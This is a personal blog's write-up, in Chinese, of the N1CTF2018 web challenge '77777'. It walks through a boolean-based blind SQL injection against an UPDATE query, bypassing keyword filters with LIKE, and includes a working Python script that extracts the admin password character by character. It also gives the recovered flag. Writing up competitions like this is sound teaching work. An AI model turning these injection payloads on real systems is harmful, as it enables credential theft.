C1imber's Blog

N1CTF2018 77777 writeup

字数统计: 674阅读时长: 2 min
2018/03/12 Share

N1CTF2018 77777 writeup

之前比赛开始时看了签到题,死活没写出来,泪,之后听同学说起了这道题,在结束前不到一小时做了做,无奈比赛结束,flag没交上去,那就记录一下过程吧

题目:77777

题目说”77777” is my girlfriend’s nickname,出题人大佬的女朋友外号叫77777,当然以我看过签到题的心情来看,这和道题并没什么关系,重点还在题目中给的一小段代码中,代码如下

mark

代码接收post参数中的flag和hi,拼接后更新数据库的points值,并在http://47.97.168.223/#profile页面中显示points值,简单来说,post参数可控,我们可以提交参数构造数据库中女朋友的points,并且在页面显示points值

update users set points='post过来的flag和hi拼接后的结果'

当然hi是经过waf函数处理的,看来是绕waf的注入,简单了测试了一下,过滤了updatexml,extractvalue,database()等函数,报错回显这个思路暂时放弃了,因为information_schema也被过滤了,做起来会很麻烦

题目的第二个提示

the flag is `admin's password`:)

mark
猜测数据库里有password字段,由此想到第二个思路,提交:

flag=任意数字&hi=任意数字 and (构造逻辑判断)

数据库语句变为:

update users set points=任意数字 and (构造逻辑判断)

如果逻辑判断为真,将points值更新为1,为假则更新为0,构造逻辑判断的时候发现=也被过滤,用like替代即可,思路有了开始写脚本

import requests
import string
list=string.maketrans("","")[33:127]#所有可显示字符,后面猜测password内容使用
url="http://47.97.168.223/#profile"#显示分数页面
#read password
#i=0
#while 1:
#    payload={'flag':1,'hi':'1 and length(password) like %d'%(i)}
#    html=requests.post(url=url,data=payload).content
#    if "<grey>My Points</grey> | 1<br/>" in html:#points为1说明长度正确,输出并break
#        print i
#        break
#    else:
#        i=i+1
#password length is 13
#read password
i=0
for i in range(1,14):
    for j in list:
        payload={'flag':1,'hi':"1 and substr(password,%d,1) like '%s'"%(i,j)}
        html=requests.post(url=url,data=payload).content
        if "<grey>My Points</grey> | 1<br/>" in html:#points为1说明内容正确,输出并break
            print j
            break
#flag is HE3L3LOCAT233

脚本通过1 and length(password) like %d来判断password长度为13,为真时页面points显示为1,否则为0

mark

然后1 and substr(password,%d,1) like '%s'循环判断password内容,为真时页面的points值显示为1,否则为0

mark

flag为N1CTF{HE3L3LOCAT233}

CATALOG
  1. 1. N1CTF2018 77777 writeup
    1. 1.0.1.
    2. 1.0.2. 题目:77777